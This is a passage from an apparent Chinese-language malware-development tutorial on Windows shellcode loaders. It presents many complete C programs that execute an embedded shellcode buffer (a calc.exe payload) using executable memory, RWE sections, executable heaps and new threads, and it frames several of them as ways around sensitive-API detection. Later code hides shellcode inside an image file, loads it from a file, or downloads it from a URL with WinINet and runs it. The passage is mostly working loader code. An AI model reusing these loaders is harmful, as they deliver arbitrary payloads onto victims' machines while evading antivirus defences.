6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 分配内存
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) {
return 0;
}
// 将shellcode拷贝进内存
memcpy(Memory, buf, sizeof(buf));
// 执行shellcode
((void(*)())Memory)();
return 0;
}

(void(*)())是一个函数指针类型的强制转换, 该函数指针指向一个没有参数且返回值类型为void的函数,也就是说这行代码将Memory的地址转换为一个函数指针,然后调用该指针所指向的函数

修改内存属性

既然buf都已经在内存当中了,为什么我们还需要使用VirtualAlloc()去申请内存呢?直接删掉VirtualAlloc()后执行.发现运行后无反应.这是因为字符串在内存中只有可读的权限并没有可执行的权限,所以我们可以修改内存属性.

1
2
3
4
5
6
7
8
9
10
11
12
#include <windows.h>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
DWORD oldProtect = 0;
// 修改数据内存属性为可执行
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
// 执行shellcode
((void(*)())&buf)();
return 0;
}

修改data段属性

修改内存属性不但可以使用VirtualProtect api函数, 还可以在程序编译的时候修改内存段的属性.

这样可以规避使用VirtualProtect这个敏感api函数操作了.

默认全局变量是存放在data段, 修改成可执行即可

1
2
3
4
5
6
7
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")//设置 data段可读可写可执行
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
{
((void(*)())&buf)();
}

新增数据段

除了修改data段的内存属性, 还可以新增一个段, 设置为可执行的属性

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <windows.h>
// 这是一个编译器指令,用于告诉编译器将接下来的数据放置在名为"vdata"的特殊数据段中.这个数据段是一个自定义命名的段,用于存储一些特殊的数据.
#pragma data_seg("vdata")
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
//这个指令告诉编译器停止将数据放置在之前定义的特殊数据段中,即"vdata".
#pragma data_seg()
//这是一个链接器指令,告诉链接器将"vdata"段标记为可读(Read)、可写(Write)、可执行(Execute).这是为了确保在运行时可以修改这个段的内容,通常用于实现一些动态代码生成或者代码注入的技术
#pragma comment(linker,"/SECTION:vdata,RWE")

int main()
{
((void(*)())&buf)();
}

通过堆加载

除了通过链接器修改数据段的内存属性外, 还可以通过HeapCreateapi获取一个具有执行权限的堆, 并在其中分配一块内存,将其地址赋给shellcode, 也是一种规避VirtualAlloc,VirtualProtectapi的一种实现方法, 通过指针运行.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <windows.h>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 创建一个具有执行权限的堆,以存储shellcode
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0);
// 在创建的堆中分配一块内存,并将其地址赋给buffer
char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(buf));
// 将shellcode复制到buffer指向的内存中
memcpy(buffer, buf, sizeof(buf));
// 将buffer指向的内存地址强制转换为一个函数指针,并调用该函数,执行shellcode
((void(*)())buffer)();
}

创建线程执行-CreateThread

CreateThread函数是Windows操作系统提供的一个函数,用于在当前进程中创建一个新的线程.

1
2
3
4
5
6
7
8
9
10
11
12
#include <windows.h>
int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
PVOID Mptr = HeapAlloc(hHep, 0, sizeof(buf));
RtlCopyMemory(Mptr, buf, sizeof(buf));
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>
int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 分配内存
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) {
return 0;
}
memcpy(Memory, buf, sizeof(buf));
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Memory, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
// 关闭线程
CloseHandle(hThread);
}

分离加载

本地分离

直接在加载器中通过读取文件 ( 二进制文件raw ) 内容的形式获取shellcode, 然后加载运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


#define _CRT_SECURE_NO_WARNINGS // 解决 fopen_s 的警告
int main() {
// 读取shellcode文件
char filename[] = "conx.ini";
FILE* file;
if (fopen_s(&file, filename, "rb") != 0) {
perror("Failed to open the code file.");
return 1;
}
fseek(file, 0, SEEK_END);
long size = ftell(file);
fseek(file, 0, SEEK_SET);
char* code = (char*)malloc(size);
if (!code) {
perror("Failed to allocate memory for code.");
fclose(file);
return 1;
}
if (fread(code, 1, size, file) != size) {
perror("Failed to read code from the file.");
fclose(file);
free(code);
return 1;
}
fclose(file);
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (addr == NULL) {
return 1;
}
// 把shellcode拷贝到这块内存
memcpy(addr, code, size);
// 创建线程运行
HANDLE hThread = CreateThread(NULL,
NULL,
(LPTHREAD_START_ROUTINE)addr,
NULL,
NULL,
0);
// 等待线程运行
WaitForSingleObject(hThread, -1);
// 关闭线程
CloseHandle(hThread);
// 释放资源
free(code);
return 0;
}

图片分离

制作步骤

  1. 选取一张图片, 然后读取图片的字节大小

  2. 在图片末尾插入shellcode

  3. 生成一张新的图片, 且记录shellcode的在文件中的起始位置

  4. 打开图片文件,从shellcode起始位置开始读取

  5. 正常加载执行

1
2
3
4
5
6
7
8
9
10
11
12
def main(shell_code, file_name="image.jpg"):
with open(file_name, mode="rb") as f:
data = f.read()
print("shell_code 起始位置为:", len(data))
with open("new.png", mode="wb") as f:
f.write(data + shell_code)
print("shell_code 插入成功")


if __name__ == '__main__':
data = b"\x90\x90\x90\x90\x90\x90\x90\x90\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
main(data)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>


int main() {
// 这里写shell_code 起始位置为: 804306
int startNum = 804306;
// 这里写图片的名称
char imageName[] = "new.png";
FILE* file;
fopen_s(&file, imageName, "rb");
if (!file) {
perror("Error opening file");
return 1;
}
// 移动到 shellcode 起始位置
fseek(file, startNum, SEEK_SET);
// 获取文件大小
fseek(file, 0, SEEK_END);
long size = ftell(file);
fseek(file, startNum, SEEK_SET); // 重新设置文件指针到起始位置
// 读取内容
char* content = (char*)malloc(size);
if (!content) {
perror("Error allocating memory");
fclose(file);
return 1;
}
fread(content, 1, size, file);
fclose(file);
// 申请内存
LPVOID p = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (p == NULL) {
DWORD error = GetLastError();
fprintf(stderr, "Error allocating memory. GetLastError: %lu\n", error);
free(content);
return 1;
}
// 复制 shellcode 进申请的内存中
memcpy(p, content, size);
// 创建线程
HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)p, NULL, 0, NULL);
if (h == NULL) {
fprintf(stderr, "Error creating thread\n");
free(content);
return 1;
}
// 等待线程完成
WaitForSingleObject(h, INFINITE);
// 释放内存
VirtualFree(p, 0, MEM_RELEASE);
free(content);
return 0;
}

Web分离

将有效载荷直接存储在二进制文件中.这是⼀种快速且常用的获取有效载荷的方法.不幸的是,在某些情况下,当存在有效载荷大小限制时,将有效载荷保存在代码中并不是⼀种可行的方法.另⼀种方法是将有效载荷托管在 Web 服务器上,并在执行期间获取它

1
python3 -m http.server 8080

获取有效负载

为了从 Web 服务器获取有效负载,将使用以下Windows API

  1. InternetOpenW - 打开互联网会话句柄,这是使用其他Internet Windows API 的先决条件

  2. InternetOpenUrlW-打开指定资源的句柄,该资源是有效载荷的 URL.

  3. InternetReadFile-从Web资源句柄读取数据.这是由InternetOpenUrlW打开的句柄

  4. InternetCloseHandle-关闭句柄.

打开互联网会话

第⼀步是使用InternetOpenW打开互联网会话句柄,这将初始化应用程序对WinINet函数的使用.传递给WinAPI的所有参数都是NULL.因为它们主要用于代理相关事宜.

值得注意的是,将第二个参数设置为NULL.相当于使用INTERNET_OPEN_TYPE_PRECONFIG,它指定应使用系统

的当前配置来确定互联网连接的代理设置.

1
2
3
4
5
6
7
HINTERNET InternetOpenW(
[in] LPCWSTR lpszAgent, // NULL
[in] DWORD dwAccessType, // NULL or INTERNET_OPEN_TYPE_PRECONFIG
[in] LPCWSTR lpszProxy, // NULL
[in] LPCWSTR lpszProxyBypass, // NULL
[in] DWORD dwFlags // NULL
);
1
2
// Opening an internet session handle
hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);

打开有效载荷的句柄

继续使用下⼀个WinAPI,InternetOpenUrlW其中正在建立与有效载荷的 URL 的连接.

1
2
3
4
5
6
7
8
9
HINTERNET InternetOpenUrlW(
[in] HINTERNET hInternet, // Handle opened by InternetOpenW
[in] LPCWSTR lpszUrl, // The payload's URL
[in] LPCWSTR lpszHeaders, // NULL
[in] DWORD dwHeadersLength, // NULL
[in] DWORD dwFlags, // INTERNET_FLAG_HYPERLINK | INTERNET_FLA
G_IGNORE_CERT_DATE_INVALID
[in] DWORD_PTR dwContext // NULL
);
  1. hInternet [in]:这是一个句柄,由先前调用 InternetOpenW 函数返回.它表示一个用于整个应用会话的 WinINet 启动句柄.你可以将其视为 WinINet 会话的标识符,用于管理后续的网络请求.
  2. lpszUrl [in]:这是一个指向宽字符字符串的指针,表示要打开的资源的 URL.URL 指定了你要访问的资源的地址,例如 “http://www.example.com“.
  3. lpszHeaders [in]:这是一个指向宽字符字符串的指针,表示要附加到请求中的头部信息.通常为 NULL,表示不需要附加额外的 HTTP 头;如果需要可以传入自定义的 HTTP 头信息.
  4. dwHeadersLength [in]:指定 lpszHeaders 参数中头信息的长度.如果 lpszHeadersNULL,则该参数也应该为 0.否则,它指定了头信息的字节数.
  5. dwFlags [in]:指定请求行为的选项标志.常见的标志包括:
    • INTERNET_FLAG_HYPERLINK: 表示目标是一个超链接.通常不需要手动设置,由浏览器自动设置.
    • INTERNET_FLAG_IGNORE_CERT_DATE_INVALID: 忽略因证书的日期无效而导致的错误.
    • 其他标志可能包括缓存控制标志,如 INTERNET_FLAG_RELOAD(绕过缓存)等.
  6. dwContext [in]:这是一个应用程序定义的值,用于与异步操作关联.通常在同步操作中设置为 NULL.如果使用异步操作,可以用它来标识或跟踪请求.
1
2
// Opening a handle to the payload's URL
hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);

读取数据

InternetReadFile是下⼀个用来读取有效负载的WinAPI.

1
2
3
4
5
6
7
BOOL InternetReadFile(
[in] HINTERNET hFile, // Handle opened by InternetOpenUrlW
[out] LPVOID lpBuffer, // Buffer to store the payload
[in] DWORD dwNumberOfBytesToRead, // The number of bytes to read
[out] LPDWORD lpdwNumberOfBytesRead // Pointer to a variable that rec
eives the number of bytes read
);

在调用该函数之前,必须分配⼀个缓冲区来保存有效载荷.因此,LocalAlloc用于分配与有效载荷大小相同的缓冲区,即 272 字节.⼀旦分配了缓冲区,InternetReadFile就可以用来读取有效载荷.该函数需要读取的字节数.

1
2
pBytes = (PBYTE)LocalAlloc(LPTR, 272);
InternetReadFile(hInternetFile, pBytes, 272, &dwBytesRead)

关闭 InterntHandle

InternetCloseHandle用于关闭互联网句柄.成功获取有效负载后应调用此函数.

1
2
3
BOOL InternetCloseHandle(
[in] HINTERNET hInternet // Handle opened by InternetOpenW & InternetOpenUrlW
);

最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "Wininet.lib") // 链接 WinInet 库,提供网络功能

// 从指定 URL 获取有效负载
BOOL GetPayloadFromUrl(LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize) {
// 状态标志,表示操作是否成功
BOOL bSTATE = TRUE;
// 用于存储Internet 连接和文件句柄
HINTERNET hInternet = NULL, hInternetFile = NULL;
// 存储每次读取的字节数
DWORD dwBytesRead = 0;
// 存储总的字节大小
SIZE_T sSize = 0;
// 指向下载数据的指针
PBYTE pBytes = NULL, pTmpBytes = NULL;

// 初始化一个用于互联网访问的会话
hInternet = InternetOpenW(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) { // 如果初始化失败
// 输出错误信息
printf("[!] InternetOpenW Failed With Error: %d\n", GetLastError());
// 设置状态为失败
bSTATE = FALSE;
// 跳转到结束标签
goto _EndOfFunction;
}

// 打开指定 URL 的文件句柄
hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, 0,
INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0);
if (hInternetFile == NULL) { // 如果打开失败
// 输出错误信息
printf("[!] InternetOpenUrlW Failed With Error: %d\n", GetLastError());
// 设置状态为失败
bSTATE = FALSE;
// 跳转到结束标签
goto _EndOfFunction;
}

// 为临时缓冲区分配内存
pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
if (pTmpBytes == NULL) { // 如果分配失败
// 设置状态为失败
bSTATE = FALSE;
// 跳转到结束标签
goto _EndOfFunction;
}

// 循环读取数据
while (TRUE) {
// 从打开的 URL 读取文件内容
if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
// 输出错误信息
printf("[!] InternetReadFile Failed With Error: %d\n", GetLastError());
// 设置状态为失败
bSTATE = FALSE;
// 跳转到结束标签
goto _EndOfFunction;
}

// 更新总字节大小
sSize += dwBytesRead;

// 根据是否已经有数据分配新的内存块或调整已有内存块大小
if (pBytes == NULL) {
pBytes = (PBYTE)LocalAlloc(LPTR, sSize);
}
else {
pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
}

if (pBytes == NULL) { // 如果内存分配失败
// 设置状态为失败
bSTATE = FALSE;
// 跳转到结束标签
goto _EndOfFunction;
}

// 将读取的数据复制到总缓冲区中
memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
// 清空临时缓冲区
memset(pTmpBytes, '\0', dwBytesRead);

if (dwBytesRead < 1024) { // 如果读取的字节少于缓冲区大小,说明已到文件末尾
// 退出读取循环
break;
}
}

// 将最终的数据和大小返回给调用者
*pPayloadBytes = pBytes;
*sPayloadSize = sSize;

_EndOfFunction:
if (hInternetFile) { // 如果文件句柄有效
// 关闭文件句柄
InternetCloseHandle(hInternetFile);
}

if (hInternet) { // 如果 Internet 会话句柄有效
// 关闭 Internet 会话句柄
InternetCloseHandle(hInternet);
}

if (pTmpBytes) { // 如果临时缓冲区指针有效
// 释放临时缓冲区
LocalFree(pTmpBytes);
}

// 返回操作状态
return bSTATE;
}

int main() {
// 目标URL,获取数据
LPCWSTR url = L"http://www.example.com/calc.bin";
// 指针用于接收有效负载数据
PBYTE pPayload = NULL;
// 用于接收有效负载大小
SIZE_T payloadSize = 0;

// 调用函数从 URL 获取数据
if (GetPayloadFromUrl(url, &pPayload, &payloadSize)) {
// 使用 VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, payloadSize, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (addr == NULL) { // 如果内存分配失败
// 退出程序
return 1;
}
// 将 shellcode 拷贝到分配的内存中
memcpy(addr, pPayload, payloadSize);
// 创建线程执行 shellcode
